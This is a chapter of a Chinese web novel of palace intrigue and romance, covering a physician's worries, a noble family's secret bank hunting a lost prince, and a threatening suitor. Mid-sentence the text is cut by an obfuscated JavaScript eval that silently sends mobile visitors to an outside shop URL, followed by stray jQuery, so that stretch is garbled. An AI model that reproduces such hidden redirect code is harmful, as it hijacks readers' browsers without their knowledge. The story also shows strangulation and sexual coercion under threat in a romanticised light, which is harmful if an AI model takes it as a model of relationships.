已是掌灯时分,园圃内葱茂的花草,在昏晦幽光下,投出一丛细密窈窕的倩影。隐隐可间续闻得几声微弱的虫鸣,不过是由近及远,周而复始。
院门外守着的丫头见了薛宓娴,连忙笑着迎上来,借过蕴娘,伸手去扶:
“姑娘来了,这边请。”
薛宓娴独身一人进了院子,她去找程菩说话时候,蕴娘都不会再时时跟着。
蕴娘与程菩身边的小丫头们关系不错,二位主子在屋里说体己话,她也正巧能和姐妹们聊几句闲。
廊前阶上,张珏提着医箱,从屋里出来。
他回身掩上门,轻轻一拂袖,周身的清冷气度如云外谪仙,唯独眉头紧皱,化不开的层层思愁又为他染上了一抹微妙的俗世人情味。
抬头瞧见了面前的薛宓娴,他眸中一亮,却仍故作平常,缓声道:
“见过薛姑娘。”
薛宓娴停步于阶下,笑了笑:
“瞧你,近些日子,怕是没睡了几个整觉。”
张珏道:
“城外集聚了一批自清远郡南下的流民,其中患病者甚多。医馆内收不过来了,我便去棚里给他们看病。一来一回,难免折腾精力。”
他知道薛宓娴是来做什么的,不由得对程菩生出了一点艳羡和嫉妒,心下酸涩,却没有表现出来:
“想你也是来打听二公子的。”
但薛宓娴敏锐地察觉到了一点异样,抬眸看了他一眼,只当是自己多心了。
张珏接道:
“二公子这病症,吃了药原应无碍的。但今日我诊脉时,总觉得有哪里不对,气血亏虚,较先前尤甚。可我的方子,已是为他补了气血,因而觉着奇怪。”
他又补了一句:
“不过,兴许是我医术不精,一时有误也未可知。”
薛宓娴想了想,开口问道:
“那方子可还留着?”
张珏道:
“方子自然是该留下的,往后旁人要来看也使得。另外,这些时日里的银钱府上的人已为我结清,便不用再来了。”
薛宓娴不解,无意识地向阶上迈了一步:
“为什么?”
张珏淡然道:
“程府来给二公子诊病的大夫,每隔一段时日就需换一人,这是早就有的规矩。”
薛宓娴第一次听说这样的事,但她也无法为此改变点什么,只能点了点头,默然片刻后,再度开口:
“先前的游记,你可看出什么了?”
张珏摇了摇头:
“前世我曾听一位老丐提起过,南都十二仙,乃是平定天下的关键。传闻中有十二天神化托凡胎,为天命之人指点明津。”
“书中反复提及南都十二仙,并非巧合,应是和我们回家的办法有关。只是惭愧,我近些日一直忙着看医书,暂且腾不出手去钻研此事。”
“你若是有什么发现,还劳请去医馆告诉我。不过,我若是出门问诊,你也不必久等,只管寻最瘦的那个小医童就是,他会将话带给我的。”
“天色不早,我还得去城外送一趟药,便不多留了,”
薛宓娴微微侧身,为他让出一条路来。
错身而过的瞬间,她想起什么,叫住了他,柔声补道:
“城外热疫闹得厉害,加之我听说,流民中或有盗匪流窜,你千万小心。”
张珏回头看她,唇角浅浅勾起一个弧度,礼数周全地行了个礼,转身离去,似乎连脚步都变得轻快了许多。
……
屋内,程菩坐于窗下,不急不慢地斟了一盏茶,笑着起身,请薛宓娴过来坐。
听完莲芝的事,他的手指在桌案上轻点了几下,眉头渐渐皱了起来,只是冷笑一声:
“她惦记着要查出赵婆子的死因,怎会轻易寻死?”
“难怪,方才程荇忽然说要把房里的素音扶正,都不顾大嫂子尚且卧病在床,另有孙家和沈家等着他给个交代。”
“哼,我原以为他是色.迷心窍,未曾想背后竟有这般因由。”
薛宓娴微微蹙起眉,凑近了些,轻声道:
“所以,二哥哥觉着,是大公子杀了莲芝?”
她心里总有一种奇怪的直觉,在听闻莲芝死讯的那一刻,想到的罪魁祸首并非程荇,而是……
江昀。
但程菩似乎并未察觉她的话外之意,抿了抿唇长叹一口气:
“我不过只是猜测,就算是拿了人来问,总得有证据才是。”
“依稀记得,莲芝是赵婆子的独生女。赵婆子早年丧夫,着实是个可怜人。待我明日派人去庙里请个师父,为她们母女二人诵诵经,盼着来世也能再续缘分。”
“我会让人扣下素音,倘若她当真做了什么伤天害理的事,哪怕她是老太太身边的人,府里也断然再留不得。”
薛宓娴温柔地笑着,轻轻摇了摇头,提醒他:
“大公子既存了扶正的心思,只怕不会轻易让二哥哥动他房里的人。”
“此事,还不能太过声张。沈姐姐如今卧病在床,若是再让她知晓素音的事,只怕又会劳心烦神。”
“总得有个周全之策才好,二哥哥觉得呢?”
她说完,却没等到程菩的回答。
只见程菩定定地望着她,眸中情意温润而又醉人,不过是轻轻掀起一角,就让人打心底里为之动容。
程菩心里想的是——
她既唤程荇为“大公子”,却又唤他为“二哥哥”。
世人常言,远近亲疏有别,他反复品味了许久,忍不住大胆地去做那个摘月之人,去触碰自己心中那个可遥望却不敢贪求的念想。
她待我,原是与他人不同的。
这个发现让他欢心雀跃,心跳猛然变得很快,声声喧嚣,连带着身子都轻微发颤,浑然已经忘了自己方才准备说的话。
他有些心虚地避开视线,脸上泛起一阵薄红,装模作样地咳了一声:
“此事,全权交给我。你且放心,我定会思虑周全,还莲芝一个公道。”
……
不过坐了一会儿,说了些话,薛宓娴便感觉热得厉害。晚间的暑气又干又闷,似乎是有一块石头压在胸口,不免让人有些头晕。
她拿出帕子,轻点拭去脸上蒙着的薄汗。
不过是细微的小动作,却被程菩收入眼底,命人再添盆冰来。
制冰机此时还不知要去哪里转世投胎,冰块是最为稀罕的物什,炎炎夏日里能用上冰的人家,非富即贵。
不过,即使程府用得起冰,也是有份例的。
薛宓娴深知自己作为外来寄住的姑娘,虽有程老夫人和程菩撑腰,但要求多了难免讨人嫌,因此,她几乎从未提出冰盆的要求。
于是,她连忙婉言阻止:
“再拿个大些的扇子来便是了,何必破费用冰?二哥哥,你身子未好,且当心受凉。”
不等她再说第二句,便已有一盏茶停在身前。
程菩自然知道她的顾虑,笑着摇了摇头,温声安慰:
“不碍事。”
“这茶清热解暑的,这夜间格外闷热,你一路走来,当心中了暑气。”
薛宓娴借着喝茶的动作,仔仔细细地打量了程菩一番。
从面色来看,与前几日大病缠身的模样相比,他的确是精神了不少,任怎么看也不想是气血大亏的模样。
但她相信张珏,相信他不会轻易诊错。
所以,这背后定还有什么古怪。
她开口道:
“二哥哥今日可有好些?说着要静养,偏你要急着出去。”
程菩听着她的柔声抱怨,心瞬间酥软了下来,指尖传来一阵微麻,忍不住轻轻握了一下拳,却并未有所缓解。
他本是不想说那些事的,但看着薛宓娴这般看着自己,不知是何种心思忽然上头,还是开了口:
“钱庄那边,出了点乱子。”
他笑着补了一句:
“不过此事倒小,还不及大哥惹出的祸半分。”
钱庄,是程家忌讳莫深的秘辛。即便是程老夫人,也不会对薛宓娴多透露什么,每次都是只和沈楹交代,屋内连一个婢女都不许留。
因而,薛宓娴也识趣地没有多问。
程菩却是主动道:
“钱庄的事,我即便今时不说,日后你也总是要知晓的。”
“娴娘,你往后不久便是我的妻。”
“我不应再有事瞒着你。”
……
原来,程家的钱庄,除了平日里用于放贷收租外,竟还是个掩人耳目的据点,一直在暗中打探着当年云妃那两位失踪皇子的下落。
程菩说道:
“云妃残害皇嗣,事发后畏罪自戕。出事前不久,她的两位皇子,三殿下和九殿下,恰巧在宫外花灯节上走失。陛下原本派了人去寻,云妃死后,此事原本渐无人再关心了。”
“可近些年,许是陛下念了旧,不光在京城数举推行缅怀云妃之风,还大张旗鼓地派人去各处寻找那两位皇子。”
他悠然饮了口茶,接着说道:
“只是,云妃当年害死的,是皇后的养子。因而皇后与云妃多有不对付,虽对陛下之举大有不悦,但也不敢明着劝阻。”
“去年秋月,有位青年人击响登闻鼓,称自己便是那位走失的三殿下齐王,要为云妃及云家鸣冤。可消息尚未传到陛下那里,他就死了。”
薛宓娴怔了一下:
“是如何死的?”
程菩意味深长地笑了笑,又为她添了茶,避重就轻道:
“宫闱秘事,岂是你我可以说清的?总之,齐王是死了。但另一位,九殿下李容卿,走失时不过垂髫,至今仍下落不明。”
“不单是我,皇后、陛下乃至心思各异的世家门阀,全在找他。只是此人神出鬼没,如妖邪一般,即便得了踪迹,也总是扑了个空。”
“当今太子之位,陛下仍举棋不定,魏王即便已是有了九成的把握,但向来定生死的,便是那一茬变数。”
薛宓娴蹙起眉头,她记得春日游湖之时,程菩在程老夫人面前,可不是这一套说辞。
程菩见她面色有异,以为是自己说得太多,让她烦心了。
方才那位即便天崩于眼前,依旧泰然处之的清俊才郎,忽然间红了脸,眸光躲闪,深切自责:
“我说的……吓着你了?”
“对不住,我不该说这些的。惹你烦心,是我的错。总之,万事你都不用操心,有我担着。”
他搭上薛宓娴的手,安抚似的轻轻覆住:
“这些你权且当个故事听听便罢了,钱庄不过是出了个吃里扒外的叛徒,我自有办法料理。”
“你可信我?”
薛宓娴倾身过去,手指轻轻点住了他的唇上,直勾勾地看向他的眼睛,柔声道:
“我自然是信的。”
如何三言两语拿捏程菩,对她来说只不过是信手拈来,根本不用思考:
“能得二哥哥倾力相护,是我此生福气。”
如她所料,程菩自然咬上了钩。
他握着她的手,片刻后,只是将自己的唇轻轻贴上了她的指尖,一触即分:
“能得你垂怜,哪怕片刻,也是我此生至幸。”
……
回去的路上,薛宓娴手里提着灯,看着在枝叶投落在地上的影子,心里莫名有些不安,总觉得程菩方才是话里有话。
皇帝找儿子,无可厚非。
皇后找仇人之子,也并无不妥的地方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006755|193155||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
那程菩专门设了个据点,只为找到那位失踪的九殿下,又是为了什么?
她想不明白,只管着低头往前走,身后蕴娘忽然轻轻扯住了她的袖子:
“姑娘,姑娘。”
她抬起头,只见江昀站在几步之外,漠然看着她,面庞半边隐在阴影里,清俊之余,却又莫名有种阴寒沉郁之感。
江昀走上前来,说道:
“薛姐姐,借一步说话。”
蕴娘看了看薛宓娴,开口道:
“时候不早,姑娘今日事多繁忙,这会儿该是倦乏了。江公子若是没有要紧事,不如明日再说。”
江昀没有分神看蕴娘一眼,只是上前一步,迈出了阴影,微微低头,注意力全放在了薛宓娴的身上。
他的神色淡然,在薛宓娴的面前开了口:
“是吗?”
不过是简简单单两个字,却让她不由得腿软,有种想要不顾一切逃离此处的冲动。
可对上江昀视线的那一瞬,她就知道,自己这回是逃不掉的。
江昀往日里做那些事的时候,都是避着旁人的,这会儿明目张胆让蕴娘知晓,今日她的腰腿和身子,应是不会受什么罪的。
实在没什么好怕他的。
薛宓娴在心里给自己壮胆,回头对蕴娘说道:
“你且先回去,我一会儿便来。”
……
四下无人,薛宓娴深吸一口气,刚开口说了句“你又有什么事”,话音未落,就被他揽着腰,按在墙边。
他捏着她的脸,二话不说地低头吻她。
这个吻有些用力,带着一点轻咬的钝痛,却并不长久,痛感如同飘在半空的烟雾,一触即散。
她还来不及为此做出回应,便已经感觉不到了。
转而,又由痛感牵起了其它感觉,配合着其他熟练的动作,将她缓缓吞没。
那阵强烈的感觉,瞬间便将她的神魂从地面抛上云端。她在茫然的虚无中漂泊无依,只能将眼前人视作救命稻草,任他所为。
她忍不住想要出声,但又被他尽数吞咽,最后只能发出含混不清的唔唔声,并着温热的泪水,从眼尾处滑落。
分开的瞬间,江昀手指蹭在她的脸侧,唇上的胭脂晕开,积攒起的眼泪,将她那双漂亮的眼眸染得湿红又诱人。
只是简单的亲吻,她却剧烈地喘着气,声音颤抖:
“昨日,你才……”
在他的注视下,后面的话,她没法说出口:
“今日,你便放过我,好不好?”
江昀没有回答,只是哼笑一声,俯身凑近:
“我若是离了府,你会何时跟程菩成亲?”
薛宓娴猜不透他问及此事的用意:
“不知道。”
她浑身一颤,握着他的手腕,咬着唇,声音也跟着发抖:
“别,你别。”
“我真的不知道,或许是来年。”
江昀嗤笑一声:
“这么久?看来程二哥娶你的心意不诚啊。”
和你有什么关系?
薛宓娴偷偷瞪了他一眼,在心里呛声,却不敢在面上表现出来。
“我只是提醒姐姐,莲芝的事,不管程二哥接下来对你说什么,都不要再插手了。”
薛宓娴心下一凉:
“为什么?”
“是你杀了她,对不对?”
江昀抬起她的下巴,用力有点重,让她有些想躲,温热的吐息洒落而下,身前的盈软汹涌起伏。
他凑近了些,微微偏头:
“姐姐早就怀疑我了,不是吗?”
“如果,我未能及时制住那个婆子,那天早上,还会不会有人容你留住体面,作为老夫人最疼爱的姑娘,与我相见?”
薛宓娴不可置信:
“所以,你就杀了她,还要杀了莲芝?”
江昀有些不耐地“啧”了一声:
“只有死人才不会泄密,这个道理,程菩没有教过你?”
“还有——”
他轻轻咬着薛宓娴的耳垂,留下一道浅浅的齿痕,舌尖却又轻柔扫过,仿佛在做什么标记:
“莲芝所做的事情,注定了她是活不成的。”
薛宓娴喘息着,下意识地开口:
“莲芝不过是为二哥哥做事,与你有什么关系?”
江昀眸光冷冷,不等她反应过来,已然自觉出方才言语之间的纰漏。
他的手搭上她的颈,缓缓收紧,血脉的搏动轻轻震在掌心,似乎是提醒着他,只要下定决心,就可以了结此事。
薛宓娴渐渐呼吸不畅,她仰起头,痛苦地蹙着眉,无力地拍打着他的手,同时努力尝试着为自己争取生机。
江昀适时松了手,抵着她的肩:
“莲芝的下场,你看见了。”
“若想活下去,就不要打探你不该知道的事。”
薛宓娴抬眸看着他,捂着颈呛咳了几声,睫羽上悬着的泪轻轻滴下。
江昀抬起她的脸,指腹蹭去她的泪:
“说了这么久,倒真有些渴了。”
薛宓娴不解其意:
“那……我去倒些茶来?”
她却渐渐升起一种不好的预感:
“你,这般看着我做什么?”
江昀将她带入侧屋,毫不费力地托起她的身子,放在了窗台上。
薛宓娴不敢挣扎乱动,生怕翻摔下去:
“你……”
他蹲下身子,最后抬眸看了她一眼:
“那就,劳烦姐姐了。”
薛宓娴仰起头,渐渐回过神来,脸色烧红,意识到了他的言外之意,顿觉后悔。
可惜,为时已晚,他已经如愿了。